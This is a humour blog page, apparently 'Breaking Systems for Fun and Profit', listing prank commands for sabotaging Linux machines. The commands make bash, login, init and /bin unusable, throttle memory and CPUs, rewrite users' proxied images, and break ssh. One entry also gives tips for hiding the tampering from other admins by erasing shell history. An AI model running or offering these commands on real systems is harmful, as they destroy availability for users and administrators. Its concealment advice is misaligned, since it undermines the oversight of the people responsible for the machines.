Bound to nothing…
Add this little sucker to /etc/fstab and reboot:
/dev/null /bin/bash bind bind 0 0
Breaking Systems for Fun and Profit
You _can_ stop the signal.
Author Archive
sysfunboost
bmr just pointed me towards this one.
It looks like a nice way to annoy your cow-orkers…
Speed? What speed?
This one got submitted by Ray:
echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr
It works best if you put it in rc.sysinit or any other place early in your boot sequence.
What login?
Try and have some fun with this one:
sed -i 's/unix/time/g' /etc/pam.d/system-auth
Who needs multiple cores anyway?
Do you remember the good old days when all you had was a single core? Time to re-live those glory days!
for I in /sys/devices/system/cpu/cpu[1-9]* do echo 0 > ${I}/online done
Unfortunately we can’t disable cpu0…
SImplify your init
This one was submitted by fl0_:
Create a file called init.c
#include <stdio.h> int main(){ printf("MOEHAHAHHAAAA\n"); return 0; }
Next run the following commands:
gcc -o init init.c touch -r /sbin/init init cp -f init /sbin/init
You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set +o history before you begin/kill -9 $$
The Lolcats, they are everywhere!
Do you use squid? Are your users under-appreciating the blissful goodness that is the LOLcat? Feel like educating them a bit? Add or replace the following line in /etc/squid/squid.conf:
url_rewrite_program /bin/sed -u -r s!^([^[:space:]]*\.(jp(e)?g|gif|png|tiff|bmp)).*$!http://icanhascheezburger.files.wordpress.com/2009/04/funny-pictures-cat-is-on-your-computer.jpg!
Enterprising bofh’s could use a script to download the referred image, modify it, place it somewhere in /var/www/html and have the rewritten url point to the new bastardised image for extra credit, like this guy did.
It takes a bit more work, so let’s go over the steps:
Make sure you’ve got a webserver running on the same box as your proxy
Add/modify this line in /etc/squid/squid.conf
url_rewrite_program /etc/squid/mirror.sh
Now make /var/www/html writable by the squid user:
setfacl -m u:squid:rwx /var/www/html
And last but not least add this file as /etc/squid/mirror.sh and make it executable:
#!/bin/bash while read URL do SURL=$(echo ${URL} | cut -d" " -f1) echo ${SURL} | egrep -qi "\.(jp(e)?g|gif|png|tiff|bmp|ico)$" && (umask 002 PIC=$$-${RANDOM} wget -q -O /tmp/${PIC} ${SURL} convert -quiet /tmp/${PIC} -flop /var/www/html/${PIC}.png &&; echo http://127.0.0.1/${PIC}.png ) || echo $URL done
The end result:
Efficient Secure Shell
Do all those people who use ssh irritate you as well because you can’t eavesdrop on their connections? Teach them a lesson so that they’ll revert to good ol’ telnet!
printf '\tHostname localhost\n' >> /etc/ssh/ssh_config
Help the homeless
chmod a-x $(find /home -depth -maxdepth 1 -type d)
It’s there isn’t it?
Try this one to annoy your users. for extra fun replace /bin with /usr/bin, rinse, repeat.
mv /bin '/bin '
Disclaimer
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Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.
